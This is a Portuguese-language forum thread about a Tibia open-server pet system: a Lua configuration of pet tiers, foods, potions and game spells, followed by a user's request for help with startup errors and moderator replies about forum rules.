[3] = {pet = "[PET] Cyclops Smith", priceRevive = 3000}

},

[8] = {

[1] = {pet = "[PET] Elf", priceRevive = 1000, lvlNext = 7, hp = 30, mana = 15, multiplier = 1.0},

[2] = {pet = "[PET] Elf Scout", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Elf Arcanist", priceRevive = 3000}

},

[9] = {

[1] = {pet = "[PET] Mercury Blob", priceRevive = 1000, lvlNext = 6, hp = 30, mana = 15, multiplier = 1.0},

[2] = {pet = "[PET] Acid Blob", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Death Blob", priceRevive = 3000}

},

[10] = {

[1] = {pet = "[PET] Dworc Fleshhunter", priceRevive = 1000, lvlNext = 7, hp = 35, mana = 25, multiplier = 1.5},

[2] = {pet = "[PET] Dworc Venomsniper", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Dworc Voodoomaster", priceRevive = 3000}

},

[11] = {

[1] = {pet = "[PET] Chakoya Toolshaper", priceRevive = 1000, lvlNext = 7, hp = 35, mana = 25, multiplier = 1.5},

[2] = {pet = "[PET] Chakoya Tribewarden", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Chakoya Windcaller", priceRevive = 3000}

},

[12] = {

[1] = {pet = "[PET] Spider", priceRevive = 1000, lvlNext = 7, hp = 35, mana = 25, multiplier = 1.5},

[2] = {pet = "[PET] Poison Spider", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Tarantula", priceRevive = 3000}

},

[13] = {

[1] = {pet = "[PET] Rat", priceRevive = 50, lvlNext = 3, hp = 3, mana = 2, multiplier = 1.0},

[2] = {pet = "[PET] Cave Rat", priceRevive = 100}

}

}

aps_pets_config = { -- how to config -> price = price to buy pet, hp = pet start health, same to mana

["minotaurs"] = {race_id = 1, price = 2000, hp = 150, mana = 55, vocs = {"Sorcerer","Druid","Paladin","Kngiht","Master Sorcerer","Elder Druid","Royal Paladin","Elite Knight"}},

["orcs"] = {race_id = 2, price = 2000, hp = 150, mana = 55, vocs = {"Sorcerer","Druid","Paladin","Kngiht","Master Sorcerer","Elder Druid","Royal Paladin","Elite Knight"}},

["necromancers"] = {race_id = 3, price = 2000, hp = 90, mana = 200, vocs = {"Paladin","Knight","Royal Paladin","Elite Knight"}},

["undeads"] = {race_id = 4, price = 2000, hp = 170, mana = 50, vocs = {"Druid","Sorcerer","Elder Druid","Master Sorcerer"}},

["dragons"] = {race_id = 5, price = 2000, hp = 160, mana = 40, vocs = {"Druid","Sorcerer","Elder Druid","Master Sorcerer"}},

["dwarfs"] = {race_id = 6, price = 2000, hp = 150, mana = 55, vocs = {"Druid","Sorcerer","Elder Druid","Master Sorcerer"}},

["giants"] = {race_id = 7, price = 2000, hp = 170, mana = 30, vocs = {"Druid","Sorcerer","Elder Druid","Master Sorcerer"}},

["elfs"] = {race_id = 8, price = 2000, hp = 90, mana = 220, vocs = {"Sorcerer","Druid","Paladin","Kngiht","Master Sorcerer","Elder Druid","Royal Paladin","Elite Knight"}},

["blobs"] = {race_id = 9, price = 2000, hp = 230, mana = 20, vocs = {"Paladin","Knight","Royal Paladin","Elite Knight"}},

["dworcs"] = {race_id = 10, price = 2000, hp = 240, mana = 60, vocs = {"Paladin","Knight","Royal Paladin","Elite Knight"}},

["chakoyas"] = {race_id = 11, price = 2000, hp = 150, mana = 55, vocs = {"Paladin","Knight","Royal Paladin","Elite Knight"}},

["aracnids"] = {race_id = 12, price = 2000, hp = 160, mana = 40, vocs = {"Druid","Sorcerer","Elder Druid","Master Sorcerer"}},

["rats"] = {race_id = 13, price = 300, hp = 15, mana = 10, vocs = {"None"}}

}

aps_foods = { -- how to config -> time = pet will eat for X sec, hpAmmount/manaAmmount = pets gain health/mana each TICKS seconds.

["banana"] = {time = 20, hpAmmount = 10, manaAmmount = 25, ticks = 3},

["meat"] = {time = 20, hpAmmount = 18, manaAmmount = 7, ticks = 3},

["ham"] = {time = 30, hpAmmount = 20, manaAmmount = 8, ticks = 3},

["dragon ham"] = {time = 60, hpAmmount = 25, manaAmmount = 12, ticks = 3},

["cheese"] = {time = 20, hpAmmount = 8, manaAmmount = 23, ticks = 3},

["apple"] = {time = 20, hpAmmount = 10, manaAmmount = 25, ticks = 3},

["white mushroom"] = {time = 20, hpAmmount = 10, manaAmmount = 25, ticks = 3},

["fish"] = {time = 15, hpAmmount = 15, manaAmmount = 15, ticks = 3},

["salmon"] = {time = 20, hpAmmount = 20, manaAmmount = 20, ticks = 4},

["coconut"] = {time = 20, hpAmmount = 10, manaAmmount = 25, ticks = 3},

["brown mushroom"] = {time = 20, hpAmmount = 25, manaAmmount = 10, ticks = 3},

["white mushroom"] = {time = 20, hpAmmount = 10, manaAmmount = 25, ticks = 3}

}

aps_potions = {

["small health potion"] = {hpAmmount = 25, text = 'Guuup!'},

["health potion"] = {hpAmmount = 55, text = 'Aaaah...'},

["mana potion"] = {manaAmmount = 55, text = 'Aaaah...'},

["strong mana potion"] = {manaAmmount = 85, text = 'Aaaaaah...'},

["strong health potion"] = {hpAmmount = 85, text = 'Aaaaaah...'},

["great mana potion"] = {manaAmmount = 105, text = 'Aaaaaah...'},

["great health potion"] = {hpAmmount = 105, text = 'Aaaaaah...'}

}

aps_attacks = {

["heal"] = {ml = 1, lvl = 1, races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}, info = "None", self = 1, offensive = -1, mana = 10, exh = aps_storages.exhaustion.exh_heal, exh_time = 5, price = 100, needLearn = false, learnstg = aps_storages.spells.learn_heal,

area = 0, range = 0, combatType = COMBAT_HEALING, effectType = CONST_ME_MAGIC_BLUE, text = '+HEALING', textColor = 16,

formula = {maxb = 0.5, maxa = 20, minb = 0.6, mina = 0},

hasFunction = false

},

["max heal"] = {ml = 15, lvl = 13, races = {3, 10, 11}, info = "None", self = 1, offensive = -1, mana = 60, exh = aps_storages.exhaustion.exh_heal, exh_time = 15, price = 100, needLearn = true, learnstg = aps_storages.spells.learn_max_heal,

area = 6, range = 2, combatType = COMBAT_HEALING, effectType = CONST_ME_MAGIC_BLUE, text = '+MAX HEAL', textColor = 16,

formula = {maxb = 0.4, maxa = 20, minb = 0.6, mina = 0},

hasFunction = false

},

["speed"] = {ml = 1, lvl = 2, races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}, info = "None", mana = 20, exh = aps_storages.exhaustion.exh_speed, exh_time = 30, price = 1100, needLearn = false, learnstg = aps_storages.spells.learn_speed,

hasFunction = function (parameters)

local pet, cid = getPlayerPet(parameters.cid), parameters.cid

doChangeSpeed(pet, getCreatureSpeed(cid))

addEvent(doChangeSpeed, 30 * 1000, pet, -getCreatureSpeed(cid))

addEvent(doPlayerSendCancel, 30 * 1000, cid, "[buff] Speed as finished.")

addEvent(doSendMagicEffect, 30 * 1000, getPetPos(cid), CONST_ME_POFF)

doSendMagicEffect(getPetPos(cid), 14)

doSendAnimatedText(getPetPos(cid), "+SPEED", math.random(150, 200))

end

},

["fire"] = {ml = 1, lvl = 3, races = {1, 2, 3, 5, 8}, info = "None", self = 0, offensive = 1, mana = 25, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_fire,

area = 4, range = 3, combatType = COMBAT_FIREDAMAGE, effectType = CONST_ME_FIREAREA, shotType = 3,

formula = {maxb = 0.2, maxa = 13, minb = 0.2, mina = 0},

hasFunction = false

},

["fireball"] = {ml = 7, lvl = 15, races = {5}, info = "None", self = 0, offensive = 1, mana = 75, exh = aps_storages.exhaustion.exh_attack, exh_time = 10, price = 2100, needLearn = true, learnstg = aps_storages.spells.learn_fireball,

area = 10, range = 1, combatType = COMBAT_FIREDAMAGE, effectType = CONST_ME_FIREAREA,

formula = {maxb = 0.3, maxa = 14, minb = 0.3, mina = 0},

hasFunction = false

},

["ice"] = {ml = 4, lvl = 7, races = {3, 8, 11}, info = "None", self = 0, offensive = 1, mana = 35, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_ice,

area = 4, range = 3, combatType = COMBAT_ICEDAMAGE, effectType = CONST_ME_ICEATTACK, shotType = 36,

formula = {maxb = 0.3, maxa = 15, minb = 0.3, mina = 0},

hasFunction = false

},

["poison"] = {ml = 2, lvl = 5, races = {3, 9, 10, 12}, info = "None", self = 0, offensive = 1, mana = 45, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_poison,

area = 6, range = 3, combatType = COMBAT_POISONDAMAGE, effectType = CONST_ME_GREEN_RINGS, shotType = 38,

formula = {maxb = 0.2, maxa = 17, minb = 0.2, mina = 0},

hasFunction = false

},

["energy"] = {ml = 6, lvl = 10, races = {3, 8, 10, 11}, info = "None", self = 0, offensive = 1, mana = 55, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_energy,

area = 4, range = 3, combatType = COMBAT_ENERGYDAMAGE, effectType = CONST_ME_ENERGYHIT, shotType = 4,

formula = {maxb = 0.3, maxa = 20, minb = 0.3, mina = 0},

hasFunction = false

},

["berserk"] = {ml = 3, lvl = 5, races = {4, 5, 6, 7}, info = "None", self = 0, offensive = 1, mana = 15, exh = aps_storages.exhaustion.exh_attack, exh_time = 10, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_berserk,

area = 2, range = 0, combatType = COMBAT_PHYSICALDAMAGE, effectType = 9,

formula = {maxb = 0.3, maxa = 20, minb = 0.3, mina = 0},

hasFunction = false

},

["groundshake"] = {ml = 7, lvl = 3, races = {4, 7}, info = "None", self = 0, offensive = 1, mana = 15, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_groundshake,

area = 6, range = 0, combatType = COMBAT_PHYSICALDAMAGE, effectType = CONST_ME_GROUNDSHAKER,

formula = {maxb = 0.2, maxa = 15, minb = 0.2, mina = 0},

hasFunction = false

},

["sludge"] = {ml = 7, lvl = 13, races = {3, 9, 10, 12, 13}, info = "None", self = 0, offensive = 1, mana = 25, needTarget = true, exh = aps_storages.exhaustion.exh_attack, exh_time = 7, price = 2100, needLearn = false, learnstg = aps_storages.spells.learn_sludge,

area = 0, range = 5, combatType = COMBAT_POISONDAMAGE, effectType = 20, shotType = 10,

formula = {maxb = 0.3, maxa = 18, minb = 0.3, mina = 0},

hasFunction = false

},

["gran mort"] = {ml = 20, lvl = 20, races = {9, 3, 10}, info = "None", self = 0, offensive = 1, mana = 200, exh = aps_storages.exhaustion.exh_attack, exh_time = 15, price = 3100, needLearn = true, learnstg = aps_storages.spells.learn_granmort,

hasFunction = function (parameters)

function createAttack(combat, effect, dist)

local formula, petPos = petFormula(getPetLvl(parameters.cid), getPetMl(parameters.cid), 0.2, 20, 0.2, 0), getPetPos(parameters.cid)

local attackGo, attackBack = {x = petPos.x + math.random(-7, 7), y = petPos.y + math.random(-7, 7), z = petPos.z}, {x = petPos.x + math.random(-2, 2), y = petPos.y + math.random(-2, 2), z = petPos.z}

doSendDistanceShoot(petPos, attackGo, 10)

doSendMagicEffect(attackGo, effect)

addEvent(doAreaCombatHealth, 300, getPlayerPet(parameters.cid), combat, attackBack, 0, math.floor(formula.minD*-1*1), math.floor(formula.maxD*-1*1), effect)

addEvent(doSendDistanceShoot, 300, attackGo, petPos, 31)

end

createAttack(COMBAT_DEATHDAMAGE, CONST_ME_MORTAREA)

for i = 1, 20 do

addEvent(createAttack, 300 * i, COMBAT_DEATHDAMAGE, CONST_ME_MORTAREA)

end

createAttack(COMBAT_DEATHDAMAGE, CONST_ME_MORTAREA)

end

},

["exchange"] = {ml = 2, lvl = 5, races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}, info = "exchange HP for MP", mana = 0, exh = aps_storages.exhaustion.exh_attack, exh_time = 4, price = 3100, needLearn = false, learnstg = aps_storages.spells.learn_exchange,

hasFunction = function (parameters)

if(getCreatureHealth(getPlayerPet(parameters.cid)) > 20) then

doCreatureAddHealth(getPlayerPet(parameters.cid), -20)

addPetMana(parameters.cid, 20)

doSendMagicEffect(getCreaturePosition(getPlayerPet(parameters.cid)), 14)

doSendAnimatedText(getCreaturePosition(getPlayerPet(parameters.cid)), "+MANA", math.random(150, 200))

doCreatureSay(getPlayerPet(parameters.cid), "+MANA", TALKTYPE_ORANGE_1)

end

end

},

["challenge"] = {ml = 3, lvl = 4, races = {4, 7}, info = "challenge an enemy", mana = 24, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 3100, needLearn = false, learnstg = aps_storages.spells.learn_challenge,

hasFunction = function (parameters)

local petPos = getCreaturePosition(getPlayerPet(parameters.cid))

local enemy = getSpectators(petPos, 1, 1)

if(#enemy > 0) then

for i = 1, #enemy do

if(isMonster(enemy)) then

doMonsterSetTarget(enemy, getPlayerPet(parameters.cid))

doSendMagicEffect(getCreaturePosition(enemy), 14)

end

end

end

end

},

["control"] = {ml = 2, lvl = 6, races = {1, 2, 6, 10, 12}, info = "control enemy mind", mana = 60, exh = aps_storages.exhaustion.exh_attack, exh_time = 5, price = 3100, needLearn = false, learnstg = aps_storages.spells.learn_control,

hasFunction = function (parameters)

local petPos, pet, cid = getCreaturePosition(getPlayerPet(parameters.cid)), getPlayerPet(parameters.cid), parameters.cid

local convinceable_1, convinceable_2, doConvince =

{"Orc", "Minotaur", "Dwarf"}, -- pets with raceID -> 1, 2, 6, 12

{ "Bear", "Rat", "Bug", "Wolf", "Winter Wolf", "Cave Rat", "Spider", "Poison Spider", "Skeleton"}, -- pets with raceID -> 10, 11

function (uid)

if(uid ~= pet) then

if not(isPlayer(getCreatureMaster(uid))) then

if(isInArray({1, 2, 6, 12}, getPetRace(cid))) then

if(isInArray(convinceable_1, getCreatureName(uid))) then

doSendMagicEffect(getCreaturePosition(uid), 31)

doConvinceCreature(pet, uid)

end

elseif(isInArray({10, 11}, getPetRace(cid))) then

if(isInArray(convinceable_2, getCreatureName(uid))) then

doSendMagicEffect(getCreaturePosition(uid), 31)

doConvinceCreature(pet, uid)

end

end

end

end

end

local spectators = getSpectators(petPos, 1, 1)

if(#spectators > 0) then

for i = 1, #spectators do

if(isMonster(spectators)) then

doConvince(spectators)

end

end

end

end

}

}

ai sao as configuraçoes mais importantes

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites

Tópico movido area correta.

Preste mais atenção !

Título do tópico mudado.

Coloquei em codes para as pessoas verem melhor.

 http://baiakuza.com/
IP: baiakuza.com
TIBIA: 10.96
Baiak Custom [ High Exp Rate ]

 

 

 

 

Link para o post
Compartilhar em outros sites

.

Editado por paulo thush (veja o histórico de edições)

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites

Se enche o saco.

Então leia as regras e saiba de comportar dentro de um fórum para torna-lo organizado.

Você fez a mesma coisa no outro fórum, usou palavrões por ninguém ter te ajudado.

Vale ressaltar que não somos obrigado a ajudar, mas todos temos obrigações de aprender.

Se você tivesse falado com respeito, ajudaria.

 http://baiakuza.com/
IP: baiakuza.com
TIBIA: 10.96
Baiak Custom [ High Exp Rate ]

 

 

 

 

Link para o post
Compartilhar em outros sites

aff eu to falando com respeito so to pedindo um ajuda unica coisas q vcs fala é reportado area errada depois eu vejo mais nunca ajuda olha essa foto aki

da erro ha hr q eu abro o ot

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites
  • 9 months later...

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

  • Conteúdo Similar

    • Por David Otserver
      Olá, Pessoal Eu Estou Com Umas Duvidas, Eu Criei Um Server de Poketibia e o Site ( o site nao é xampp, é modern )....  Eu Quero deixar o Meu Server e o Site 24:00 Horas Online Com meu PC desligado, Minha Internet é Internet Compartilhada, Eu Quero deixar Online Com Uma hospedagem mas eu n sei nada Como Funciona Isso Podem Me Ajudar falando como Funciona e como eu faço para pagar um Hospedagem para deixar meu servidor de poketibia e o site 24:00 Horas Online Sem Lag Por Favor ?
      Obrg
      Rep +++++++
       
      Skype: David TGD Youtube
    • Por Lodus
      Como eu adiciono novos items e sprites no Remeres Map Editor??
    • Por pprgfpedro
      Bom ontem foi tenta abri um serv sem via hamachi liberei a porta do meu roteado ai dps hj baixei um mapa legal coloquei ele on só q ai mandei meu colega loga pra testa qndo ele logo n tava logando tava dando erro não ia não sei pq não aparecia nem acc manager pra ele ajuda eu ae quem ajuda eu do rep  por um tempao  http://imgur.com/j9LtVqY 
    • Por juliosky
      Eae pessoal do TK blz, então to aqui pra ver se alguem pode me ajudar, indicar algum site ou me dizer oque é melhor um DEDICADO ou VPS, alguem me indica algo bom, uma empresa sei la....
    • Por Gustavo Ferreira
      Feliz 2013 a Todos




      Sejam felizes e espero que atinjam seus objetivos!

×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo